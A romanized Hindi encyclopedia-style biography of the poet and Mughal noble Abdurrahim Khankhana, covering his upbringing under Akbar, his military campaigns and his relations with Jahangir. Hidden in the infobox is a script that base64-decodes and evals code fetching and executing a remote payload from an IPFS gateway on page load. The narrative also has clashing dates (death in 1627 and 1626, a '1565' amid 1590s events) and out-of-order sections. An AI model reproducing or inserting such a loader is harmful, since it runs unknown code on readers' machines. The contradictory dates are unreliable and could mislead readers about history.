रहीम

rahim vishay soochi

jivan parichay    gujarat ki soobedari    khanakhana upadhi    jahaangir se bheant    sahityik parichay    rachanaean

rahim |200px|center poora nam abdurrahim khanakhana janm 17 disambar 1556 ee. janm bhoomi lahaur mrityu 1627 ee. (umr- 70) abhibhavak bairam khaan pati/patni mahabanoo begam santan shahanavaz, darab, rahamanadad karm bhoomi dilli karm-kshetr kavi mukhy rachanaean rahim ratnavali, rahim vilas, rahiman vinod, rahim 'kavitavali, rahiman chandrika, rahiman shatak vishay shrriangar, niti aur bhakti bhasha arabi, turki, farasi, sanskrit aur hindi puraskar-upadhi khanakhanaan prasiddhi akabar ke navaratnoan mean se ek nagarikata bharatiy inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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rahim athava abdurrahim khanakhana athava abdurrahim khaan (aangrezi: Rahim athava Abdul Rahim Khan-e-Khana) (‌janm- 17 disambar, 1556; mrityu- 1627) hindi ke prasiddh kavi the. akabar ke darabar mean inaka mahattvapoorn sthan tha. rahim akabar ke navaratnoan mean se ek the. gujarat ke yuddh mean shaury pradarshan ke karan akabar ne inhean 'khanakhana' ki upadhi di thi. rahim arabi, turki, farasi, sanskrit aur hindi ke achchhe jnata the. inhean jyotish ka bhi jnan tha. rahim ki gyarah rachanaean prasiddh haian. inake kavy mean mukhy roop se shrriangar, niti aur bhakti ke bhav milate haian. 70 varsh ki umr mean 1626 ee. mean rahim ka dehaant ho gaya.

jivan parichay

abdurrahim khaan, khanakhana madhyayugin darabari sanskriti ke pratinidhi kavi the. akabari darabar ke hindi kaviyoan mean inaka mahattvapoorn sthan hai. ye svayan bhi kaviyoan ke ashrayadata the. keshav, asakaran, mandan, narahari aur gang jaise kaviyoan ne inaki prashansa ki hai. ye akabar ke abhibhavak bairam khaan ke putr the. abdul rahim khanakhana ka janm 17 disambar, 1556 ee. (magh, krishna paksh, guruvar) ko samrat akabar ke prasiddh abhibhavak bairam khaan (60 varsh) ke yahaan lahaur mean hua tha. us samay rahim ke pita bairam khaan panipat ke doosare yuddh mean hemoo ko harakar babar ke samrajy ki punarsthapana kar rahe the. bairam khaan, amir ali shookar beg ke vansh mean se the. jabaki unaki maan sulatana begam mevati jamal khaan ki doosari patni thian. kavita karana bairam khaan ke vansh ki khanadani parampara thi. babar ki sena mean bharti hokar rahim ke pita bairam khaan apani svami bhakti aur virata se humayooan ke vishvasapatr ban ge the.

humayooan ki mrityu ke bad bairam khaan ne 14 sal ke shahazade akabar ko rajagaddi par baitha diya aur khud usaka sanrakshak banakar mugal samrajy ko sthapit kiya tha. lekin vardi khanakhana ke pranadand, darabariyoan ki eershya, akabar ki mata hamida bano aur dhay maham anaga ki durabhi sandhi evan babar ki beti gularukh begam ki l daki seeda begam se shadi tatha amiroan ke samane akabar ke roop mean upasthit hone ke vikalp ne bairam khaan ko sanh 1560 mean akabar ke poorn rajy grahan karane se dhire–dhire vidrohi bana diya tha.

pita bairam khaan ki hatya

akhirakar harakar akabar ke kahane par bairam khaan haj ke lie chal p de. vah gujarat mean patan ke prasiddh sahasraliang talab mean nauka vihar ya nahakar jaise hi nikale, tabhi unake ek purane virodhi - afagan saradar mubarak khaan ne dhokhe se unaki pith mean chhura bhoankakar unaka vadh kar dala. kuchh bhikhari lash uthakar faqir husamuddin ke maqabare mean le ge aur vahian par bairam khaan ko dafana diya gaya. 'masare rahimi' granth mean mrityu ka karan sherashah ke putr salim shah ki kashmiri bivi se huee l daki ko mana gaya hai, jo haj ke lie bairam khaan ke sath ja rahi thi. isase afaganiyoan ko apani behazzati mahasoos huee aur unhoanne hamala karake bairam khaan ko samapt kar diya.

lekin yah sambhav nahian lagata, kyoanki aisa hone par to rahim ke lie bhi khatara badh jata. us vaqt poorvavarti shasak vansh ke uttaradhikari ko samapt kar diya jata tha. vah afagani mubarak khaan matr bairam khaan ka vadh kar hi nahian ruka, balki dere par akraman karake lootamar bhi karane laga. tab svamibhakt baba jamboor aur muhammad amir 'divana' char varshiy rahim ko lekar kisi tarah afagan luteroan se bachate hue ahamadabad ja pahuanche. char mahine vahaan rahakar phir ve agara ki taraf chal p de. akabar ko jab apane sanrakshak ki hatya ki khabar mili to usane rahim aur parivar ki hifazat ke lie kuchh logoan ko is adesh ke sath vahaan bheja ki unhean darabar mean le aean.

rahim ko akabar ka sanrakshan

badashah akabar ka yah adesh bairam khaan ke parivar ko jalaur mean mila, jisase kuchh asha bandhi. rahim aur unaki mata parivar ke any sadasyoan ke sath sanh 1562 mean rajadarabar mean pahuanche. akabar ne bairam khaan ke kuchh dushman darabariyoan ke virodh ke bavajood balak rahim ko buddhiman samajhakar usake lalan–palan ka dayitv svayan grahan kar liya. akabar ne rahim ka palan–poshan tatha shiksha-diksha shah­zadoan ki tarah shuroo karavaee, jisase das–barah sal ki umr mean hi rahim ka vyaktitv akar grahan karane laga. akabar ne shahazadoan ko pradan ki jane vali upadhi mirza khaan se rahim ko sambodhit karana shuroo kiya.

akabar rahim se bahut adhik prabhavit tha aur unhean adhikaansh samay tak apane sath hi rakhata tha. rahim ko aise uttaradayitv poorn kam sauanpe jate the, jo kisi ne sikhane vale ko nahian die ja sakate the. parantu un sabhi kamoan mean 'mirza khaan' apani yogyata ke bal par saphal hote the. akabar ne rahim ki shiksha ke lie mulla muhammad amin ko niyukt kiya. rahim ne turki, arabi evan farasi bhasha sikhi. unhoanne chhand rachana, kavita karana, ganit, tark shastr aur farasi vyakaran ka jnan prapt kiya. sanskrit ka jnan bhi unhean akabar ki shiksha vyavastha se hi mila. kavy rachana, danashilata, rajy sanchalan, virata aur dooradarshita adi gun unhean apane maan - bap se sanskar mean mile the. seeda begam unaki doosari maan thian. vah bhi kavita karati thian.

rahim shiya aur sunni ke vichar–virodh se shuroo se azad the. inake pita turkaman shiya the aur mata sunni. isake alava rahim ko chhah sal ki umr se hi akabar jaise udar vicharoan vale vyakti ka sanrakshan prapt hua tha. in sabhi ne milakar rahim mean adbhut vikas ki shakti utpann kar di. kishoravastha mean hi ve yah samajh ge ki unhean apana vikas apani mehanat, soojhaboojh aur shaury se karana hai. rahim ko akabar ka sanrakshan hi nahian, balki pyar bhi mila. rahim bhi unake huqm ka palan karate the, isalie vikas ka rasta khul gaya. akabar ne rahim se aangrezi aur phreanch bhasha ka bhi jnan prapt karane ko kaha. akabar ke darabar mean sanskrit ke kee vidvanh the; badaooanni khud unamean se ek tha.

vivah

rahim 'mirza khaan' ki karyakushalata, lagan aur yogyata dekhakar akabar ne unako shasak vansh se sidhe sambaddh karane ka faisala kiya, kyoanki aisa karake hi rahim ke dushmanoan ka muanh band kiya ja sakata tha aur unhean antahpur ki rajaniti se bachaya ja sakata tha. akabar ne apani dhay maham anaga ki putri aur aziz koka ki bahan 'mahabano' se rahim ka nikah kara diya. rahim ka vivah lagabhag solah sal ki umr mean kar diya gaya tha. mahabano se rahim ke tin putr aur do putriyaan hueean. putroan ka nam iriz, darab aur karan akabar ke dvara hi rakha gaya tha. putri jana begam ki shadi shahazada daniyal se sanh 1599 mean aur doosari putri ki shadi mir aminuddin se huee. rahim ko saudha jati ki ek l daki se rahaman dad namak ek putr hua aur ek naukarani se mirza amarulla hue. ek putr haidar quli haidari ki bachapan mean hi mrityu ho gee thi.

rahim ka bhagyoday

thumb|rahim|200px rahim ke bhagy ka utkarsh sanh 1573 se shuroo hota hai. jo akabar ke samay sanh 1605 tak chalata raha. isi bich badashah akabar ek bar rahim se naraz bhi ho ge, lekin zyada dinoan tak yah narazagi nahian rah saki. sanh 1572 mean jab akabar pahali bar gujarat vijay ke lie gaya to 16 varshiy rahim 'mirza khaan' usake sath hi the. khan azam ko gujarat ka soobedar niyukt karake badashah akabar laut ae. lekin usake lautate hi khan azam ko gujarati pareshan karane lage. use charoan or se nagar mean gher liya gaya. yah samachar pakar badashah akabar sanh 1573 mean 11 dinoan mean hi sabaramati nadi ke kinare pahuanch gaya. rahim 'mirza khaan' ko akabar ke netritv mean madhy kaman ka karyabhar sauanpa gaya. mirza khaan ne b di bahaduri se yuddh karake dushman ko parast kiya. yah unaka pahala yuddh tha.

akabar ke sath hi rahim laut ae. kuchh vaqt bad mirza khaan ko rana pratap, jo un dinoan dakshini paha diyoan ke durgam jangal mean the, se l dane ke lie raja manasianh aur bhagavan das ke sath bheja gaya. aanshik saphalata ke bad bhi jab rana pratap aparajit rahe to shahavaz khaan ke netritv mean punah sena bheji gee. isamean bhi rahim 'mirza khaan' shamil the jinhoanne 4 aprail, 1578 ko dobara akraman kiya. abhi tak rahim prasiddh senanayakoan ke netritv mean yuddh ka anubhav prapt kar rahe the.

rahim mirza khaan ko zimmedari ka pahala svatantr pad sanh 1580 mean prapt hua. phir akabar ne unhean mir arz ke pad par niyukt kiya. isake bad sanh 1583 mean unhean shahazada salim ka ataliq (shikshak) bana diya gaya. rahim ko ise niyukti se bahut khushi hasil huee. unhoanne is upalakshy mean logoan ko ek shanadar davat di, jisamean khud badashah akabar bhi maujood tha. mirza khaan aur unaki patni mahabano ko badashah ne upaharoan se sammanit kiya.

rahim abhi is dayitv ka nirvah kar hi rahe the ki unhean khabar mili ki agare ke qile se bhage hue qaidi muzaffar khaan ne kathiyoan adi ke sath milakar phir sena taiyar karani shuroo kar di hai. bairam khaan ka dushman shahabuddin us vaqt gujarat ka soobedar tha. vah akabar ka hukm nahian man raha tha. akabar ko is bat ka shak tha ki vah vishvasaghat kar raha hai.

gujarat ki soobedari

akabar ke shasanakal mean sanh 1580 se sanh 1583 tak kathin samay tha, kyoanki usake darabar ke amir usake khilaf sazish rach rahe the aur dakshin mean sthiti viparit thi. aise vaqt mean akabar ne rahim 'mirza khaan' ko gujarat ki soobedari dekar dushman ko parajit karane ke lie bheja. udhar muzaffar khaan ne etamad khaan ko harakar ahamadabad par adhikar kar liya tha. sath hi prapt khazane se 40,000 sena kh di kar li thi.

badashah akabar ne 22 sitanbar, 1583 ko fatehapur sikari ke rajapootoan aur ba da ke saiyadoan tatha pathan sainikoan ke sath rahim ko vida kiya. rahim in bahadur sainikoan sahit drutagati se age badhate hue miratha pahuanche, jahaan unhean muzaffar khaan ke dvara kutubuddin ki hatya aur bh dauch par adhikar ka samachar mila. rahim apane sath ke logoan se yah khabar chhipae tezi se age badhate hue sirohi ja pahuanche, jahaan nizamuddin unaki agavani mean kh de the. isase unhean navinatam sthiti ka pata chala. 31 disambar ko vah patan pahuanche aur ek din rukakar mugal adhikariyoan ki goshthi mean vichar–vimarsh kiya. logoan ne rahim ko malava sena ki pratiksha karane ki salah di lekin vishvasaniy mitroan muanshi daulat khaan lodi ne kaha ki yahi uchit avasar hai. ve akraman karake 'khanakhana' ki upadhi prapt karean, kyoanki yah upadhi unake pita ko bhi mili thi. rahim ko mir muanshi daulat khaan lodi ki bat janchi. ve akraman karane ke lie chal p de. 12 janavari, 1584 ko unhoanne ahamadabad se 6 mil door sarakhej gaanv ke nikat sabaramati nadi ke baean kinare par pahuanchakar dera dal diya. muzaffar khaan ki sena ka p dav nadi ke us par tha. usake pas 40,000 sena thi jabaki rahim ke pas matr 10,000 sena thi. aisi halat mean nadi par karana bahut hi khataranak siddh ho sakata tha.

in halat ka samana rahim ne jis manauvaijnanik paddhati se kiya, vah yuddh vijnan ke kshetr mean mahattvapoorn mani jati hai. rahim ne padadhikariyoan ko ek patr padhakar sunaya ki badashah ek vishal sena lekar khud a rahe haian aur unake ane tak akraman n kiya jae. isase amiroan ka manobal badha. ve senapati ke adeshoan ka palan karane mean lag ge. dushmanoan ko jab apane jasoosoan se pata chala ki badashah khud a rahe haian to 16 janavari ko nadi par karake muzaffar khaan ne jaldabazi ke sath akraman kar diya.

apani rananiti ke anusar rahim 300 chune hue viroan aur 100 vishalakay hathiyoan ke sath sena ke madhy mean rahate hue yuddh bhoomi mean utare. rajapootoan aur saiyadoan ne is yuddh mean b di virata ka pradarshan kiya. charoan taraf mrityu ka tandav tha. donoan pakshoan ko jab muzaffar khaan ne guttham–guttha dekha to sat hazar sainikoan ke sath madhy bhag ki or badha. mugal sainik vishal sena ko madhy bhag ki taraf ata dekh yuddh sthal se bhagane lage. aisi sthiti mean rahim ne hathiyoan ki sena age karane ki yuddhaniti apanaee. gajarajoan dvara kuchale jane se shatru paksh mean trahi–trahi mach gee. jab tak ve sambhalate, tab tak nizamuddin ne pichhe se aur ray durg sisaudiya ne baeean taraf se akraman kar diya.

kandhar par akraman

rahim khanakhana jaunapur mean mushkil se ek varsh rahe hoange ki 4 janavari, 1590 ko badashah akabar ne vishal sena ke sath unhean kandhar vijay ke lie bhej diya. kharch adi ke lie mulatan aur bhakkar jagir ke roop mean pradan kiya. rahim ne raste mean hi baloochiyoan ko parajit karane ka faisala kiya. lekin unhoanne kandhar jitane ke pahale sindh ke shasak jani beg, jo muzaffar khaan se zyada chalak aur samarik drishti se sampann tha, ko parajit karana zaroori samajha. isake lie khanakhana ne badashah se izazat maangi jo unhean tatkal mil gee.

rahim upajaoo aur sampann prant par adhikar karake sainikoan ki zarooratean poori karana chahate the. ve abhi mulatan se kuchh hi mil door the ki baloochi saradaroan ne samoohik roop se khanakhana ki seva mean hazir hokar akabar ke prati apani svamibhakti pradarshit ki aur sindh ki vijay mean sahayog ka poora ashvasan diya.

yah bat jab jani beg ko pata chali to usane khusaro ke netritv mean 120 sashastr navoan, jinamean dhanurdhar sainik, bandook chalane vale evan 200 yuddh topean thian, ko jalamarg se aur do tuk diyoan ko nadi ke kinaroan se bheja. khanakhana ne jis qile ke pas dera dala tha, vah sthan nadi se kafi ooanchaee par dhalua baluee zamin par sthit tha. atah nadi se nikalakar akraman karana mushkil tha. 31 aktoobar, 1591 ko shatru–dal dhara ke viparit age badhata dikhaee p da. ab yuddh anivary ho gaya tha. yah bhayanak yuddh 24 ghante ke bad tab band hua jab khusaroan harakar bhag gaya. lekin jani beg isase hatotsahit nahian hua aur buhari qile mean apana dera dale p da raha, kyoanki yah sthal surakshit tha.

khanakhana ki upadhi

aisa hone se dushmanoan ne yah samajha ki ek taraf se akabar aur doosari taraf se malava ki sena ne ek sath akraman kar diya hai. ve tatkal maidan chho dakar bhagane lage. parinamatah muzaffar khaan ko bhi vahaan se bhagakar apani jan bachani p di. is vijay se rahim 'mirza khaan' ki bahaduri ki dhak jam gee aur unake darabari dushmanoan ke muanh band ho ge. isi ke sath rahim ko 'khanakhana' ki upadhi tatha kee jagiroan se sammanit kiya gaya.

san 1589 mean jab badashah akabar apane parivar ke sath kashmir aur kabul ghati ki yatra par gaya to rahim khanakhana bhi usake sath the. rahim ne avakash ke dinoan mean babar ki atmakatha tazuke babari ka turki se farasi mean anuvad kiya. phir 24 navambar, 1589 ko jab badashah yatra se laut rahe the to unhoanne yah anuvad unhean rastean mean hi bheant kiya.

akabar ne rahim ki sahityik kriti se prasann hokar raja todaramal ki mrityu se rikt samrajy ke vakil ke pad par unhean adhishthit kar diya. rahim ke pita bairam khaan bhi samrajy ke vakil the. yadyapi us samay tak is pad ke adhakar kuchh kam ho ge the, lekin badashah aur shahazadoan ke adhikaroan ke bad yahi sarvochch pad tha. rahim ko jaunapur ka sooba jagir ke roop mean pradan kiya gaya. unhean avakash ke dinoan mean darabar mean ane vale kaviyoan adi ko dan dena p data tha. isake alava samrajy ke sarvashreshth amir ke kharche bhi adhik the. rahim ko pratishtha, kul ki maryada aur an–ban ke anusar kharch karana p data tha, is vajah se unaki arthik sthiti kamazor hone lagi thi.

khanakhana ki yuddhaniti

rahim khanakhana ke sainikoan ko ab kafi pareshaniyaan uthani p dian. do mahine ghera dalane ke bad bhi unhean saphalata nahian mili. jani beg ke chhapamar sainik qile se nikalakar mugaloan ko pareshan karate aur khady samagri loot lete the. jab khadyann ki kami ho gee to khanakhana ne badashah se madad maangi. badashah ne dhaee lakh rupaye, anaj aur topoan se saji kuchh naukaean bhejian. lekin jab isase bhi samasya hal nahian huee to unhoanne jani beg ke rasad apoorti ke srotoan par adhikar karana zaroori samajha. unhoanne mugal sainikoan ke paanch dastoan ki sahayata se shatru ke rasad apoorti thikanoan par qabza kar liya. isase khanakhana ke sainikoan ko khady samagri ki poorti sambhav ho saki.

tatpashchath khanakhana ne apani yuddhaniti ke anusar akraman karake buhari qile ko dhvast kar diya. shatruoan ne jamakar sangharsh kiya, lekin antatah parajit hue. jani beg ne yuddh bhoomi se bhagakar uranapur mean sharan li. khanakhana ne is bar qile ki gherabandi karane mean chook nahian ki. yah ghera ek mah tak chalata raha. itane mean barish shuroo ho gee. lagatar barish ke karan tin taraf se nadi ka jal tatha ek taraf mugaloan ki gherabandi se jani beg ki khady apoorti lagabhag samapt ho gee. nadi se samagri pahuanchana mugaloan ke qabze ke karan asambhav tha. topoan ki golabari se bhitar rahana mushkil ho gaya tha. log ooant adi khane lage the. jani beg ke sainik bhookh se vyakul hokar khanakhana ki sharan mean ane lage. khanakhana ki udarata ke phalasvaroop anek sindhi to mugal sena mean shamil ho ge.

sindh par vijay

akhir mean jani beg ne apane dootoan se kahalavaya ki allah ke nam par apane hi dharm ke logoan ki hatya rok dean. khanakhana ne dootoan ka svagat kiya aur yah sandhi prastav svikrit kiya ki sehavan durg evan bis yuddhapot mugaloan ko de die jaean. jani beg apani putri ka vivah iriz se karean tatha sindh ke shasak rajadarabar mean upasthit hokar badashah ki adhinata svikar kar lean. sandhi hone ke bad sainik–ghera utha liya gaya. jani beg ne tin mah ka vaqt maanga taki vah thatta jakar apani rajadhani lahaur le chalane ka prabandh kar sake.

sehavan durg ki chabi khanakhana ke vahaan par pahuanchane par durgapal ke dvara pradan kar di gee. tin mahine ka vaqt samapt hone par bhi jab jani beg nahian aya to khanakhana ne thatta ki taraf prasthan kiya. jani beg rajadhani se nikalakar fatehabad mean dera dale purtagali sena ke ane ka iantazar kar raha tha. mugal sena fatehabad pahuanch gee. tab jani beg ne age badhakar khanakhana ka svagat kiya. usaki dhoortata tatha bahanebazi nahian chal paee. khanakhana ne mugaloan ko usaki mitrata ka vishvas dilane ke lie usase jahazi be da samarpit karane ko kaha.

jani beg ke pas do hi raste the- giraftari ya adhinata. usane apana jahazi be da jo ki usaki ridh tha, mugaloan ko de diya. sindh par vijay prapt karake khanakhana thatta chale ge. vahaan se prasthan karate samay apani sari samagri jo unake pas thi, apane amiroan aur karmachariyoan mean vitarit kar di. ve fatehabad mean lautakar ae hi the ki unhean parajit shatru ke sath darabar mean upasthit hone ka shahi adesh mila. khanakhana jani beg ke sath avilamb vahaan se chalakar darabar mean hazir hue. isase unaki ajnakarita par badashah akabar bahut khush hua.

dakshin ko prasthan

sindh par vijay ke bad khanakhana darabar mean 6 mah hi rah pae the ki badashah ne unhean dakshin ki or prasthan karane ko kaha. khanakhana malava ke marg se dakshin ko ravana hue. kuchh din bhilasa mean rahakar 19 julaee, 1594 ko dakshin ki or sidhe n jakar ve ujjain ke raste se chal p de. ve akraman ke pahale dakshin ke dvar par sthit khanadesh par bhi adhikar karana chahate the. shahazada murad rahim ka intazar kar raha tha. khanakhana ki deri use pasand nahian thi. darabari aur amir khanakhana ke viruddh murad ke kan bhar rahe the. khanakhana ka yah kary unaki dooradarshita aur kootaniti kaushal ka praman tha. parantu shahazada naraz hota gaya aur usane joon, 1565 mean ahamadanagar ki or prasthan kar diya.

mugaloan, rajapootoan, saiyadoan aur khanadesh ki sammilit sena ke sath khanakhana ne shahapur se chalakar pathari se 12 kos door godavari ke tat par asthi namak sthan par dera dal diya. nadi ke doosare kinare par chaandabibi ke rashtr jagaran ke phalasvaroop adil shahi, kutub shahi, nizam shahi aur bidar shahi ki sanyukt senaean vir yoddha suhel khaan ke netritv mean dera dale hue thian. poore pandrah dinoan tak donoan hi godavari nadi ke tat ke ar par ek doosare ke akraman ka intazar karate rahe. jab khanakhana ko dakshiniyoan ki shakti ka anuman ho gaya to unhoanne apane sathiyoan raja ali khaan aur shaharukh ke sath 26 janavari, 1597 ko nadi par karake dakshin ki sena par akraman kar diya.

rahim khanakhana ki giraftari

[[chitr:Khan-I-Khanan-Tomb-Delhi.jpg|thumb|250px|khan e khana maqabara, dilli]] dakshin ke is abhiyan se santusht hokar shahazada khurram khanadesh, barar aur ahamadanagar ki soobedari khanakhana ko dekar apane pita se milane mandoo chala gaya. badashah ne khurram ko shahajahaan ki upadhi di tatha sianhasan se uthakar usaka svagat kiya. malik ambar apani adat ke anusar adhik dinoan tak adhin nahian rah sakata tha. usane sandhi to d di aur mugal thanedaroan par hamala kar diya. ye khanakhana ki vipatti ke din the. damad shahanavaz khaan ki adhik madirapan ke karan mrityu ho gee aur rahim ka putr rahaman dad bhi chal basa. darab ko balaghat se balapur aur vahaan se sanh 1620 mean burahanapur khade d diya gaya. burahanapur mean darab aur khanakhana donoan hi giraftar kar lie ge. phir tabhi mukt hue jab shahajahaan vahaan par aya. is prakar sanh 1620 se 1626 tak ka samay rahim ke rajanitik jivan ka hras kal raha. samrat akabar ke shasan kal mean unaki ganana akabar ke nau ratnoan mean hoti thi. jahaangir ke rajagaddi par baithane par rahim ne aksar jahaangir ki nitiyoan ka virodh kiya. isake phalasvaroop jahaangir ki drishti badali aur unhean qaid kar diya. unaki upadhiyaan aur pad zabt kar lie ge. sanh 1625 mean rahim ne darabar mean jahaangir ke samane upasthit hokar mafi maangi aur vafadari ka pran kiya. badashah jahaangir ne n sirf unhean maf kar diya balki lakhoan rupaye die, upadhiyaan aur pad lauta die. jahaangir ki is kripa se abhibhoot hokar rahim ne apani qabr ke patthar par yah doha khudavane ki vasiyat ki—

mara lutphe jahaangir, je haee dhate rabbani.
do varah zindagi dad, do varah khanakhani..
arthath eeshvar ki sahayata aur jahaangir ki daya se do bar zindagi aur do bar khanakhana ki upadhi mili.

vyapak narasanhar

bhayanak sangharsh ke bad kutub shahi aur nizam shahi sainik mugaloan ki mar se bhagane lage. tab sena ke madhy bhag mean suhel khaan ne poori shakti ke sath mugaloan par akraman kar diya. mar–kat se darakar mugal sainik yuddh sthal se 30 mil door shahapur bhag ge. suhel khaan ke sainikoan ne jab madhy bhag par akraman kiya to topoan ke sidhe akraman se bachane ke lie vah vahaan se hat gaya, parantu raja alikhaan bich mean a gaya. vyapak nar sanhar ke bad aandhera ho jane ke karan donoan pakshoan ne ek doosare ki har ka anuman lagakar vahaan se bhag ge. pratah kal jab mugal sainik nadi par pani lene ge to suhel khaan ne 25000 ghu dasavar sena ke sath akraman kar diya.

khanakhana ke pas is samay kul 7000 sainik the. tinoan senaoan ke mahattvapoorn sainik mare ge the. kaha jata hai ki daulatakhaan lodi (jise aziz koka ne rahim ko diya tha aur kaha tha ki isaki seva karo, khanakhana ban jaoge) us samay senapati khanakhana ka mukhy rakshak tha. usane suhel khaan dvara hathiyoan aur topoan ko age badhaya jate dekhakar khanakhana se kaha, "hamare pas 600 ghu dasavar haian. phir bhi maian shatru ke kendr par akraman karooanga."

senapati khanakhana ne kaha, "kya tumhean dilli ka smaran nahian hai." daulat khaan ne uttar diya, "agar ham in vishamataoan se surakshit rah ge to saik doan dilliyaan dhooandh leange." b daha ke saiyad yah vartalap sun rahe the. ve daulatakhaan lodi se bole, "jab kuchh nahian bacha hai sivay mrityu ke to aie, ham sab hindustaniyoan ki tarah l dean. lekin ap khanakhana se yah poochhie ki vah kya chahate haian."

daulatakhaan lodi ne ghoomakar khanakhana se kaha, "hamare samane vishal sena kh di hai. vijay allah ke hath mean hai. kripaya yah bataie ki agar ap har ge to ham log apako kahaan par paeange." khanakhana ne kaha, "lashoan ke niche." phir daulat khaan aur saiyadoan ne adilashahi sena ke madhy bhag par sidhe akraman kar diya. is yuddh mean shatru parajit hue aur suhel khaan behosh hokar maidan mean gir p da, jise bad mean dakshini uthakar bhag ge.

vipattiyoan ke badal

kaha jata hai ki khanakhana ne us din 75 lakh rupaye baant die. is mahanh vijay ke bad bhi khanakhana aur shahazada murad mean matabhed badhate ge. shahazade ke kahane par khanakhana ko vapas bula liya gaya. yah rahim ke du:kh ka samay tha. unaka sanrakshak aur badashah unase naraz tha hi, isi bich unaka sabase priy putr haidar quli jalakar mar gaya. lahaur se lautate samay ambala mean mahabano adhik bimar ho geean. vah putr ki mrityu nahian jhel sakian aur ambala mean hi sanh 1598 mean unaki mrityu ho gee. dakshin se lautane par khanakhana keval sal bhar darabar mean rahe. yah samay unake dukh, apaman aur santap ka tha. 29 aktoobar, 1599 ko badashah akabar ne shahazada daniyal ko dakshin mean niyukt karake rahim ko usaka abhibhavak bana diya. sath hi dakshin kaman ka senapati pad dekar ahamadanagar ka qila fatah karane ke lie bheja. daniyal aur rahim ahamadanagar qile ka char mah char din tak ghera dale rahe. chaandabibi ne jab sandhi karani chahi to habshiyoan ne unhean mar dala aur ibrahim ke putr bahadur ko ni­zam banakar yuddh ke lie taiyar ho ge. 16 agast, 1600 ko qile ki divar u da di gee aur habshiyoan ki parajay huee. rahim khanakhana bahadur ke sath darabar mean laut ae. bahadur ko gvaliyar ke qile mean jivan bhar ke lie qaid kar diya gaya. khanakhana ne apani putri ka vivah daniyal se kar diya. aprail, 1601 mean khanakhana ahamadanagar qile ko durust karane tatha shah ali (jise malik ambar aur rajoo dakshini ne nizam shah banakar gaddi par baithaya tha) ko dabav rakhane ke lie jab vahaan par pahuanche to mugaloan ke apasi vaimanasy evan dakshiniyoan ki ekata se paristhiti badali huee thi.

damad daniyal ki mrityu

habshi malik ambar apani pratibha, sahas aur virata se saradar ban chuka tha. usaki pratishtha bhi adhik thi. usi prakar rajoo dakshini bhi prabhavashali tha. rahim khanakhana ke netritv mean malik ambar ko do bar 16 mee, 1601 ko majera mean abdul rahaman ne aur 1602 mean nander mean khanakhana ke putr iriz ne haraya. isase khanakhana ki pratishtha badh gee. isi bich damad shahazada daniyal ki sanh 1604 mean mrityu ho gee. rahim bitiya jana begam se bahut pyar karate the. usane vidhava ka jivan vyatit kiya jo rahim ke lie bahut hi hriday vidarak tha. rahim is du:kh se ubar nahian pae the ki unake sanrakshak mahanh samrat akabar sanh 1605 mean paralok sidhar ge.

jahaangir se bheant

akabar ki mrityu ke bad rahim badashah jahaangir se milane ke lie chittiyaan likhate rahe. antatah unhean darabar mean upasthit hone ki anumati mil gee. sanh 1608 mean khanakhana bahumooly upaharoan ke sath darabar mean atyant ullas ke sath upasthit hue. vah us samay bahut hi bhavuk ho uthe the. unhean yah bhi bhan n raha ki ve sir ke bal chal kar ae haian ya pair se. vihvalata se unhoanne apane ko badashah jahaangir ke pairoan mean dal diya, lekin jahaangir ne dayaluta se unhean uthakar apani chhati se laga liya. phir unaka mukh chooma.

khanakhana ne jahaangir ko motiyoan ke do har, kee hire evan manik bheant kie, jinaka mooly tin lakh rupaye tha. isake atirikt kee any vastuean bhi bheant kian. badashah jahaangir ne vishisht gho de aur 20 hathi pradan karake unhean sammanit kiya. khanakhana tin mahine tin din darabar mean rahakar do varsh mean dakshin vijay ka ashvasan dekar yathesht sahayata lekar dakshin ki or chale ge. khanakhana ghanaghor barasat mean shahazada khurram ke sath burahanapur se balaghat ki or badh chale. parantu mugal saradaroan ke bich asahamati ke karan unaki yuddhaniti asaphal ho gee. malik ambar ne samane yuddh n karake chhapamar l daee l di. mugal sena ki rasad samagri samapt hone lagi. hathi–gho de marane lage. khanakhana ke mitr bhi unake shatru ho ge. phalatah unhean malik ambar se jahaangir ki pratishtha ke anukool sandhi karani p di.

in sabase badashah jahaangir bahut hi naraz hua. usane khan-e-jahaan lodi ko rahim ka uttaradhikari banakar bheja. sath hi sath unake purane shatru mahavat khaan ko parajit senapati ko darabar mean lane ka kam sauanpa. mahavat khaan ke sath jab khanakhana laute to unhean agara shahar mean pravesh nahian karane diya gaya. jab badashah mila bhi to usane rahim ki or dhyan nahian diya. rahim ke putroan - iriz aur darab ko samrajy ki prashansaniy sevaoan ke lie upadhiyoan evan paritoshakoan se sammanit kiya gaya. darab ko jagir ke roop mean gazipur pradan kiya gaya. is vipatti mean khanakhana ke mitroan ne unaka sath chho d diya. kafi samay ve chintit avastha mean darabar mean hi rahe. phir kuchh dinoan ke bad agara prant mean kalapi aur kannauj ki jagir dekar vahaan ke upadravoan ko shant karane ke lie bheja gaya. sanh 1610 se 1612 tak khanakhana kalapi mean hi rahe.

dakshin mean rahim ki sthiti ko samajhate hue jahaangir ne shahazada khurram ki shadi rahim ki natini aur shahanavaz khaan ki l daki se 23 agast, 1617 ko karava di. khanakhana se vaivahik sambandhoan, badashah ki nikat hi upasthiti aur shahazade ka vishal sena ke sath muhane par hona adi sthitiyoan ne dakshin ke shasakoan ko samajhaute ke lie vivash kar diya. adil shah ne 15 lakh rupe mooly ke saman aur naqadi ke sath hathi adi upahar mean bhejakar adhinata svikar kar li. phir itana hi saman aur naqadi kutub malik ne bhi bhejakar adhinata svikar kar li. ab malik ambar ke pas koee chara n tha. antatah use bhi adhinata svikar karani p di.

sahityik parichay

